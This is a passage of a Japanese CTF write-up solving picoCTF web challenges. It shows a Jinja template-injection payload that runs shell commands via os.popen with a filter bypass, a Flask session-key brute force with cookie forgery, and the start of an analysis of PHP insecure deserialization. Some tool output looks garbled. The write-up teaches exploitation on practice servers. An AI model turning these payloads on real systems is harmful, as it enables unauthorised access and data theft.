    error: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-iGJZ8uCBlhQ
  </h3>
  ..\templates\errors\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa100

<h2>make a new note</h2>
<form action="/new" method="POST">
  <textarea name="content"></textarea>
  <input type="submit">
</form>

{{10*10}}が評価されて100という値がレスポンスに含まれているのが分かる。

  • 実行したいJinja構文:{{config}}
  • ペイロード:..\templates\errors\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{{config}}
$ curl -i http://127.0.0.1:5000/new --data-urlencode "content=..\templates\errors\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{{config}}"
HTTP/1.1 302 FOUND
Server: Werkzeug/2.3.6 Python/3.10.6
Date: Sat, 12 Aug 2023 06:00:40 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 491
Location: static/../templates/errors/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-dber8roRbjM.html
Connection: close

<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="static/../templates/errors/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-dber8roRbjM.html">static/../templates/errors/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-dber8roRbjM.html</a>. If not, click the link.

/templates/errors/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-dber8roRbjM.htmlが作成された。

作成されたファイルにアクセスしてみた。

$ curl -i http://127.0.0.1:5000/?error=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-dber8roRbjM
HTTP/1.1 200 OK
Server: Werkzeug/2.3.6 Python/3.10.6
Date: Sat, 12 Aug 2023 06:02:08 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1363
Connection: close

<!doctype html>

  <h3>
    error: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-dber8roRbjM
  </h3>
  ..\templates\errors\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&lt;Config {&#39;DEBUG&#39;: False, &#39;TESTING&#39;: False, &#39;PROPAGATE_EXCEPTIONS&#39;: None, &#39;SECRET_KEY&#39;: None, &#39;PERMANENT_SESSION_LIFETIME&#39;: datetime.timedelta(days=31), &#39;USE_X_SENDFILE&#39;: False, &#39;SERVER_NAME&#39;: None, &#39;APPLICATION_ROOT&#39;: &#39;/&#39;, &#39;SESSION_COOKIE_NAME&#39;: &#39;session&#39;, &#39;SESSION_COOKIE_DOMAIN&#39;: None, &#39;SESSION_COOKIE_PATH&#39;: None, &#39;SESSION_COOKIE_HTTPONLY&#39;: True, &#39;SESSION_COOKIE_SECURE&#39;: False, &#39;SESSION_COOKIE_SAMESITE&#39;: None, &#39;SESSION_REFRESH_EACH_REQUEST&#39;: True, &#39;MAX_CONTENT_LENGTH&#39;: None, &#39;SEND_FILE_MAX_AGE_DEFAULT&#39;: None, &#39;TRAP_BAD_REQUEST_ERRORS&#39;: None, &#39;TRAP_HTTP_EXCEPTIONS&#39;: False, &#39;EXPLAIN_TEMPLATE_LOADING&#39;: False, &#39;PREFERRED_URL_SCHEME&#39;: &#39;http&#39;, &#39;TEMPLATES_AUTO_RELOAD&#39;: None, &#39;MAX_COOKIE_SIZE&#39;: 4093}&gt;

<h2>make a new note</h2>
<form action="/new" method="POST">
  <textarea name="content"></textarea>
  <input type="submit">
</form>

{{config}}が評価されて、設定情報がレスポンスに含まれているのが分かる。

  • 実行したいJinja構文:{%print('hello')%}{%print(' world')%}
  • ペイロード:..\templates\errors\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{%print('hello')%}{%print(' world')%}
$ curl -i http://127.0.0.1:5000/new --data-urlencode "content=..\templates\errors\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{%print('hello')%}{%print(' world')%}"
HTTP/1.1 302 FOUND
Server: Werkzeug/2.3.6 Python/3.10.6
Date: Sat, 12 Aug 2023 06:04:48 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 491
Location: static/../templates/errors/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-egfgcZcaG8o.html
Connection: close

<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="static/../templates/errors/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-egfgcZcaG8o.html">static/../templates/errors/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-egfgcZcaG8o.html</a>. If not, click the link.

/templates/errors/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-egfgcZcaG8o.htmlが作成された。

作成されたファイルにアクセスしてみた。

$ curl -i http://127.0.0.1:5000/?error=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-egfgcZcaG8o
HTTP/1.1 200 OK
Server: Werkzeug/2.3.6 Python/3.10.6
Date: Sat, 12 Aug 2023 06:06:03 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 457
Connection: close

<!doctype html>

  <h3>
    error: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-egfgcZcaG8o
  </h3>
  ..\templates\errors\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaahello world

<h2>make a new note</h2>
<form action="/new" method="POST">
  <textarea name="content"></textarea>
  <input type="submit">
</form>

{%print('hello')%}{%print(' world')%}が評価されて、hello worldというメッセージがレスポンスに含まれているのが分かる。

長々と検証したが、あとは本番のサーバーに細工したリクエストを送ってフラグを取るだけである。

まずはノートに以下を入力して、lsコマンドを実行し、ディレクトリとファイルの一覧を取得した。(アンダースコア(_)がフィルターされているのでHexエンコード(\x5f)を施し、フィルターを回避する。コマンドの構成はこちらのサイトを参考にした。)

..\templates\errors\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{{request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]()}}

作成されたファイルにアクセスしてみたところ、レスポンスの中にflag-c8f5526c-4122-4578-96de-d7dd27193798.txtというファイルを発見した。

https://notepad.mars.picoctf.net/?error=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-K0FoZLViMw4

以下をノートに入力してcatコマンドでflag-c8f5526c-4122-4578-96de-d7dd27193798.txtの中身を読み出したところ、フラグを取れた。

..\templates\errors\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{{request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("cat flag-c8f5526c-4122-4578-96de-d7dd27193798.txt")["read"]()}}
https://notepad.mars.picoctf.net/?error=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-idAHyeQohKI

Most Cookies (150points)

Webサイトhttp://mercury.picoctf.net:53700/を解析してフラグを取得する問題。

サイトにアクセスするとsessionという名前のクッキーが付与される。

$ curl -i http://mercury.picoctf.net:53700/
HTTP/1.1 302 FOUND
Content-Type: text/html; charset=utf-8
Content-Length: 209
Location: http://mercury.picoctf.net:53700/
Vary: Cookie
Set-Cookie: session=eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.ZNzIMg.ndxk9yMI069Vxppsn9E_hlsV5UE; HttpOnly; Path=/

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/">/</a>.  If not click the link.

sessionクッキーに適切な値を設定して管理者としてサイトにアクセスするとフラグを取れる模様。

この問題ではアプリケーションのソースコードserver.pyも一緒に渡された。

以下、server.pyの内容。

from flask import Flask, render_template, request, url_for, redirect, make_response, flash, session
import random
app = Flask(__name__)
flag_value = open("./flag").read().rstrip()
title = "Most Cookies"
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
app.secret_key = random.choice(cookie_names)

@app.route("/")
def main():
	if session.get("very_auth"):
		check = session["very_auth"]
		if check == "blank":
			return render_template("index.html", title=title)
		else:
			return make_response(redirect("/display"))
	else:
		resp = make_response(redirect("/"))
		session["very_auth"] = "blank"
		return resp

@app.route("/search", methods=["GET", "POST"])
def search():
	if "name" in request.form and request.form["name"] in cookie_names:
		resp = make_response(redirect("/display"))
		session["very_auth"] = request.form["name"]
		return resp
	else:
		message = "That doesn't appear to be a valid cookie."
		category = "danger"
		flash(message, category)
		resp = make_response(redirect("/"))
		session["very_auth"] = "blank"
		return resp

@app.route("/reset")
def reset():
	resp = make_response(redirect("/"))
	session.pop("very_auth", None)
	return resp

@app.route("/display", methods=["GET"])
def flag():
	if session.get("very_auth"):
		check = session["very_auth"]
		if check == "admin":
			resp = make_response(render_template("flag.html", value=flag_value, title=title))
			return resp
		flash("That is a cookie! Not very special though...", "success")
		return render_template("not-flag.html", title=title, cookie_name=session["very_auth"])
	else:
		resp = make_response(redirect("/"))
		session["very_auth"] = "blank"
		return resp

if __name__ == "__main__":
	app.run()

上記のソースコードより以下の内容が読み取れる。

  • クッキーの生成にFlaskのsessionを利用している。
  • "snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"から1つをランダムに選択し、クッキーを署名する際の鍵 (secret key)として利用する。
  • sessionクッキーに{"very_auth":"admin"}という値を設定してhttp://mercury.picoctf.net:53700/displayにアクセスするとflag.htmlが読み込まれ、フラグが表示される。

フラグを取るにはsessionクッキーに{"very_auth":"admin"}という値を設定して、正しい鍵で署名した後、http://mercury.picoctf.net:53700/displayにアクセスすれば良い模様。

上記を実行するには、まず署名に使用される鍵を特定する必要がある。

何か良いツールは無いかと調べたところ、flask-unsignというお誂え向きのツールを見つけた。

ツールをインストール (pip3 install flask-unsign)して、鍵をブルートフォースしてみた。

以下のコマンドでクッキーに対して辞書攻撃ができる。(コマンドはこちらのサイトを参考にした。)

flask-unsign --wordlist /path/to/your/dictionary.txt --unsign --cookie '<cookie>' --no-literal-eval

ソースコードより、鍵には"snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"のいずれかが使用されることが判明しているので、これらの値をsecret-key.txtとして保存し、辞書攻撃に利用した。

以下は、secret-key.txtの中身。

snickerdoodle
chocolate chip
oatmeal raisin
gingersnap
shortbread
peanut butter
whoopie pie
sugar
molasses
kiss
biscotti
butter
spritz
snowball
drop
thumbprint
pinwheel
wafer
macaroon
fortune
crinkle
icebox
gingerbread
tassie
lebkuchen
macaron
black and white
white chocolate macadamia

クッキーをいくつかデコードしてみた。

$ flask-unsign --wordlist secret-key.txt --unsign --cookie 'eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.ZNzIMg.ndxk9yMI069Vxppsn9E_hlsV5UE' --no-literal-eval
[*] Session decodes to: {'very_auth': 'blank'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 28 attemptscadamia
b'peanut butter'
$ flask-unsign --wordlist secret-key.txt --unsign --cookie 'eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.ZNzQ7g.MCvDCVRFtAFjPWD31M8iBhQJ3mM'
[*] Session decodes to: {'very_auth': 'blank'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 28 attemptscadamia
'peanut butter'
$ flask-unsign --wordlist secret-key.txt --unsign --cookie 'eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.ZNzRFw.eyuRS0eAQmV1a-FqkBd8QZjIHUM'
[*] Session decodes to: {'very_auth': 'blank'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 28 attemptscadamia
'peanut butter'

どうやらpeanut butterを鍵に用いてクッキーを署名している模様。

あとは{"very_auth":"admin"}という値をpeanut butterで署名してsessionクッキーに設定すればよい。

以下のコマンドで署名した。

flask-unsign --sign --cookie '{"very_auth":"admin"}' --secret 'peanut butter'
$ flask-unsign --sign --cookie '{"very_auth":"admin"}' --secret 'peanut butter'
eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9.ZNzZtA.lkx1-b2DsB3Pg_90Uz1t4C6iyuw

eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9.ZNzZtA.lkx1-b2DsB3Pg_90Uz1t4C6iyuwsessionクッキーに設定してhttp://mercury.picoctf.net:53700/displayにアクセスしたところ、フラグを取れた。

$ curl -i http://mercury.picoctf.net:53700/display -H "Cookie: session=eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9.ZNzZtA.lkx1-b2DsB3Pg_90Uz1t4C6iyuw"
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 1194
Vary: Cookie

<!DOCTYPE html>
<html lang="en">

<head>
    <title>Most Cookies</title>


    <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css" rel="stylesheet">

    <link href="https://getbootstrap.com/docs/3.3/examples/jumbotron-narrow/jumbotron-narrow.css" rel="stylesheet">

    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>

    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>

</head>

<body>

    <div class="container">
        <div class="header">
            <nav>
                <ul class="nav nav-pills pull-right">
                    <li role="presentation"><a href="/reset" class="btn btn-link pull-right">Reset</a>
                    </li>
                </ul>
            </nav>
            <h3 class="text-muted">Most Cookies</h3>
        </div>

        <div class="jumbotron">
            <p class="lead"></p>
            <p style="text-align:center; font-size:30px;"><b>Flag</b>: <code>picoCTF{pwn_4ll_th3_cook1E5_<REDACTED>}</code></p>
        </div>


        <footer class="footer">
            <p>&copy; PicoCTF</p>
        </footer>

    </div>
</body>

</html>

Super Serial (130points)

Webサイトhttp://mercury.picoctf.net:2148/を解析してフラグを取得する問題。

サイトにアクセスするとログインフォームが表示される。

以下はサイトのソースコードである。

<html>
<head>
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<link href="style.css" rel="stylesheet">
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
</head>
	<body>
		<div class="container">
			<div class="row">
				<div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
					<div class="card card-signin my-5">
						<div class="card-body">
							<h5 class="card-title text-center">Sign In</h5>
														<form class="form-signin" action="index.php" method="post">
								<div class="form-label-group">
									<input type="text" id="user" name="user" class="form-control" placeholder="Username" required autofocus>
									<label for="user">Username</label>
								</div>

								<div class="form-label-group">
									<input type="password" id="pass" name="pass" class="form-control" placeholder="Password" required>
									<label for="pass">Password</label>
								</div>

								<button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit">Sign in</button>
							</form>
						</div>
					</div>
				</div>
			</div>
		</div>
	</body>
</html>

userというパラメータにユーザー名を、passというパラメータにパスワードを指定してindex.phpへPOSTする。

SQLインジェクションで認証回避してログインする感じの問題かと当たりをつけて、いくつか細工したリクエストを送ってみたが、不正なログインとして弾かれてしまった。 攻撃のヒントにつながるようなエラーメッセージも確認できなかった。

ヒントを見てみた。

The flag is at ../flag

../flagにアクセスしてみたが、404 Not Found エラーが返ってきた。

$ curl -i http://mercury.picoctf.net:2148/../flhttp://mercury.picoctf.net:2148/../flag
HTTP/1.1 404 Not Found
Connection: close
Content-Type: text/plain

Not Found

../flag%2e%2e/flagにURLエンコードしてアクセスしてみたところ、403 Forbidden エラーが返ってきた。 このエラーにより、flagというファイルは存在するものの、アクセス制限が設けられていることが判明した。

$ curl -i http://mercury.picoctf.net:2148/%2e%2e/flag
HTTP/1.1 403 Forbidden
Connection: close
Content-Type: text/plain

Forbidden

.htaccessを覗けないか試してみたが、アクセスできなかった。

$ curl -i http://mercury.picoctf.net:2148/.htaccess
HTTP/1.1 404 Not Found
Connection: close
Content-Type: text/plain

Not Found

こちらのサイトを参考に、アクセス制限を回避できないかと色々試してみたが、空振りに終わった。

で、色々ググっているうちに、うっかり他所のWriteUpでネタバレを見てしまった。
ネタバレの内容はhttp://mercury.picoctf.net:2148/robots.txtにアクセスするというもの。

見てしまったものは仕方ないので、そそくさとrobots.txtを覗いてみた。

$ curl -i http://mercury.picoctf.net:2148/robots.txt
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 36
Last-Modified: Tue, 16 Mar 2021 01:32:21 GMT

User-agent: *
Disallow: /admin.phps

/admin.phpsのインデックスが禁止されているのが伺える。

admin.phpsadmin.phpというファイルはサーバー上に存在していなかったが、.phpsという拡張子にピンときてindex.phpsにアクセスしたところ、index.phpのソースコードが表示された。(.phpsというのはPHPのソースコードを表示する特別な拡張子とのこと。※参考)

以下はindex.phpのソースコード。

<?php
require_once("cookie.php");

if(isset($_POST["user"]) && isset($_POST["pass"])){
        $con = new SQLite3("../users.db");
        $username = $_POST["user"];
        $password = $_POST["pass"];
        $perm_res = new permissions($username, $password);
        if ($perm_res->is_guest() || $perm_res->is_admin()) {
                setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + (86400 * 30), "/");
                header("Location: authentication.php");
                die();
        } else {
                $msg = '<h6 class="text-center" style="color:red">Invalid Login.</h6>';
        }
}
?>

<!DOCTYPE html>
<html>
<head>
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<link href="style.css" rel="stylesheet">
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
</head>
        <body>
                <div class="container">
                        <div class="row">
                                <div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
                                        <div class="card card-signin my-5">
                                                <div class="card-body">
                                                        <h5 class="card-title text-center">Sign In</h5>
                                                        <?php if (isset($msg)) echo $msg; ?>
                                                        <form class="form-signin" action="index.php" method="post">
                                                                <div class="form-label-group">
                                                                        <input type="text" id="user" name="user" class="form-control" placeholder="Username" required autofocus>
                                                                        <label for="user">Username</label>
                                                                </div>

                                                                <div class="form-label-group">
                                                                        <input type="password" id="pass" name="pass" class="form-control" placeholder="Password" required>
                                                                        <label for="pass">Password</label>
                                                                </div>

                                                                <button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit">Sign in</button>
                                                        </form>
                                                </div>
                                        </div>
                                </div>
                        </div>
                </div>
        </body>
</html>

cookie.phpauthentication.phpを参照しているのが確認できた。 (ちなみに、同じく参照されていたデータベースファイルusers.dbをダウンロードできないか試してみたが、駄目だった。)

cookie.phpsauthentication.phpsにアクセスして、それぞれのソースコードを取得した。

以下はcookie.phpのソースコード。

<?php
session_start();

class permissions
{
        public $username;
        public $password;

        function __construct($u, $p) {
                $this->username = $u;
                $this->password = $p;
        }

        function __toString() {
                return $u.$p;
        }

        function is_guest() {
                $guest = false;

                $con = new SQLite3("../users.db");
                $username = $this->username;
                $password = $this->password;
                $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
                $stm->bindValue(1, $username, SQLITE3_TEXT);
                $stm->bindValue(2, $password, SQLITE3_TEXT);
                $res = $stm->execute();
                $rest = $res->fetchArray();
                if($rest["username"]) {
                        if ($rest["admin"] != 1) {
                                $guest = true;
                        }
                }
                return $guest;
        }

        function is_admin() {
                $admin = false;

                $con = new SQLite3("../users.db");
                $username = $this->username;
                $password = $this->password;
                $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
                $stm->bindValue(1, $username, SQLITE3_TEXT);
                $stm->bindValue(2, $password, SQLITE3_TEXT);
                $res = $stm->execute();
                $rest = $res->fetchArray();
                if($rest["username"]) {
                        if ($rest["admin"] == 1) {
                                $admin = true;
                        }
                }
                return $admin;
        }
}

if(isset($_COOKIE["login"])){
        try{
                $perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
                $g = $perm->is_guest();
                $a = $perm->is_admin();
        }
        catch(Error $e){
                die("Deserialization error. ".$perm);
        }
}

?>

以下はauthentication.phpのソースコード。

<?php

class access_log
{
        public $log_file;

        function __construct($lf) {
                $this->log_file = $lf;
        }

        function __toString() {
                return $this->read_log();
        }

        function append_to_log($data) {
                file_put_contents($this->log_file, $data, FILE_APPEND);
        }

        function read_log() {
                return file_get_contents($this->log_file);
        }
}

require_once("cookie.php");
if(isset($perm) && $perm->is_admin()){
        $msg = "Welcome admin";
        $log = new access_log("access.log");
        $log->append_to_log("Logged in at ".date("Y-m-d")."\n");
} else {
        $msg = "Welcome guest";
}
?>

<!DOCTYPE html>
<html>
<head>
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<link href="style.css" rel="stylesheet">
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
</head>
        <body>
                <div class="container">
                        <div class="row">
                                <div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
                                        <div class="card card-signin my-5">
                                                <div class="card-body">
                                                        <h5 class="card-title text-center"><?php echo $msg; ?></h5>
                                                        <form action="index.php" method="get">
                                                                <button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit" onclick="document.cookie='user_info=; expires=Thu, 01 Jan 1970 00:00:18 GMT; domain=; path=/;'">Go back to login</button>
                                                        </form>
                                                </div>
                                        </div>
                                </div>
                        </div>
                </div>
        </body>
</html>

それぞれのPHPスクリプトの働きは以下の通り。

index.php

  • ログインフォームからユーザー名とパスワードを受け取り、データベース(users.db)に一致するユーザーの情報があるか確認する。
  • ユーザーがadminもしくはguestのいずれかだった場合、ユーザー情報をシリアライズしてloginという名前のクッキーにセットし、authentication.phpへリダイレクトする。
  • ユーザーがadminもしくはguestのいずれとも一致しなかった場合、Invalid Login.というメッセージを表示する。

cookie.php

  • loginクッキーの値をデシリアライズする。
  • ログインを試みたユーザーがadminなのかguestなのか判定する。

authentication.php

  • ログインしたユーザーがadminだった場合、Welcome adminというメッセージを表示し、ログイン日時をaccess.logに書き込む。
  • ログインしたユーザーがadminではない場合、Welcome guestというメッセージを表示する。

ここで注目すべきはindex.phpでユーザー由来のデータをシリアライズし、cookie.phpでデシリアライズするという点である。
これは典型的な「安全でないデシリアライゼーション」処理である。

以下は徳丸浩 著 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践 第2版 (SB Creative発行)P.351からの引用である。

シリアライズされたデータが信頼できない場合、デシリアライズ処理の際に意図しないオブジェクトがアプリケーション内に生成され、場合によっては任意のコードを実行されてしまう場合があります。

また同著のP.354によると攻撃の条件として以下が挙げられている。

  1. 外部から操作できる値に対してデシリアライズ処理を掛けている。
  2. デシリアライズできるクラスは、あらかじめクラスの定義がされているか、autoloadという仕組みで自動的にクラス定義が読み込まれる必要がある。

本アプリケーションは両方の条件を満たしている。

  1. cookie.phpにてloginクッキーの値をデシリアライズしている。クッキーの値はクライアント側で操作することができる。
  2. authentication.phpにてaccess_logというクラスが定義されている。

安全でないデシリアライゼーションを攻撃する際に悪用されやすいメソッドとして__destruct()unserialize_callback_func__wakeup()__toString()があるが、access_logクラスには__toString()メソッドが定義されていた。

以下はauthentication.phpで定義されているaccess_logクラスのソースコードである。

class access_log
{
        public $log_file;

        function __construct($lf) {
                $this->log_file = $lf;
        }

        function __toString() {
                return $this->read_log();
        }

        function append_to_log($data) {
                file_put_contents($this->log_file, $data, FILE_APPEND);
        }

        function read_log() {
                return file_get_contents($this->log_file);
        }
}

access_logクラスはオブジェクトの生成時に任意のファイルを引数に指定でき、__toString()メソッドはそのファイルの中身を読み出すためのメソッドである。

__toString()メソッドはオブジェクトが文字列として扱われた場合に呼び出される。例えばオブジェクトがecho()print()に渡された場合、__toString()メソッドで定義された処理が実行される。(※参考)

cookie.phpを眺めたところ、以下の処理が目についた。

if(isset($_COOKIE["login"])){
        try{
                $perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
                $g = $perm->is_guest();
                $a = $perm->is_admin();
        }
        catch(Error $e){
                die("Deserialization error. ".$perm);
        }
}

上記によると、loginクッキーの値をデシリアライズし、エラーが発生した場合はデシリアライズしたデータをdie()に渡す。
